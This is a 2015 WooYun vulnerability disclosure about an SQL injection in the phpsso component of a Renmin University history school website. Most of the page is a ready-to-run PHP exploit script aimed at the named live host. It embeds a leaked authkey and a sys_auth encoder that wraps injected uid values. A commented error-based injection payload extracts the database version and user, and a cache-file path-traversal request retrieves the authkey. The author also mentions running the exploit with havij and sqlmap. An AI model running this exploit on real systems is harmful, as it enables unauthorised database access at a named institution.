当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0120713

漏洞标题:中国人民大学历史学院authkey注入

相关厂商:中国人民大学

漏洞作者: 随页清风

提交时间:2015-06-16 10:08

修复时间:2015-07-31 14:26

公开时间:2015-07-31 14:26

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-06-16: 细节已通知厂商并且等待厂商处理中
2015-06-16: 厂商已经确认,细节仅向厂商公开
2015-06-26: 细节向核心白帽子及相关领域专家公开
2015-07-06: 细节向普通白帽子公开
2015-07-16: 细节向实习白帽子公开
2015-07-31: 细节向公众公开

简要描述:

中国人民大学历史学院authkey注入

详细说明:

http://www.lishixueyuan.com/phpsso_server/index.php?m=phpsso&c=index&a=getapplist&auth_data=v=1&appid=1&data=e5c2VAMGUQZRAQkIUQQKVwFUAgICVgAIAldVBQFDDQVcV0MUQGkAQxVZZlMEGA9+DjZoK1AHRmUwBGcOXW5UDgQhJDxaeQVnGAdxVRcKQ


获取authkey ,然后放到脚本里,本地搭建php环境然后用havij跑。sqlmap跑不完整
注入脚本

<?php
set_time_limit(0);
$wang_url = 'http://www.lishixueyuan.com/';
echo $wang_url."\r\n";
$auth_key = 'chD2rYBiGPC2hm2LLrUw7G4zNyGeBZYh';
$str = "uid=".stripslashes($_GET['id']);
//$str = "uid=1' and (select 1 from (select count(*),concat(version(),0x5f5f,database(),0x5f5f,user(),floor(rand()*2))x from information_schema.tables group by x)a);#";
$encode = sys_auth($str, 'ENCODE', $auth_key);
$allurl=($wang_url."/phpsso_server/?m=phpsso&c=index&a=getuserinfo&appid=1&data=".$encode);
$content = file_get_contents($allurl);
//header("Location: $allurl");
echo $content;
function sys_auth($string, $operation = 'ENCODE', $key = '', $expiry = 0) {
$key_length = 4;
$key = md5($key);
$fixedkey = hash('md5', $key);
$egiskeys = md5(substr($fixedkey, 16, 16));
$runtokey = $key_length ? ($operation == 'ENCODE' ? substr(hash('md5', microtime(true)), -$key_length) : substr($string, 0, $key_length)) : '';
$keys = hash('md5', substr($runtokey, 0, 16) . substr($fixedkey, 0, 16) . substr($runtokey, 16) . substr($fixedkey, 16));
$string = $operation == 'ENCODE' ? sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$egiskeys), 0, 16) . $string : base64_decode(substr
($string, $key_length));
$i = 0; $result = '';
$string_length = strlen($string);
for ($i = 0; $i < $string_length; $i++){
$result .= chr(ord($string{$i}) ^ ord($keys{$i % 32}));
}
if($operation == 'ENCODE') {
return $runtokey . str_replace('=', '', base64_encode($result));
} else {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$egiskeys), 0,
16)) {
return substr($result, 26);
} else {
return '';
}
}
}
//或者直接$str = "uid=1";然后放sqlmap里面跑起来。速度挺快的。
///api.php?op=get_menu&act=ajax_getlist&callback=t00ls&parentid=0&key=authkey&cachefile=..\..\..\phpsso_server\caches\caches_admin\caches_data\applist&path=admin
?>


2.jpg


漏洞证明:

2.jpg

修复方案:

补丁

版权声明:转载请注明来源 随页清风@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2015-06-16 14:25

厂商回复:

非常感谢!已通知。

最新状态:

暂无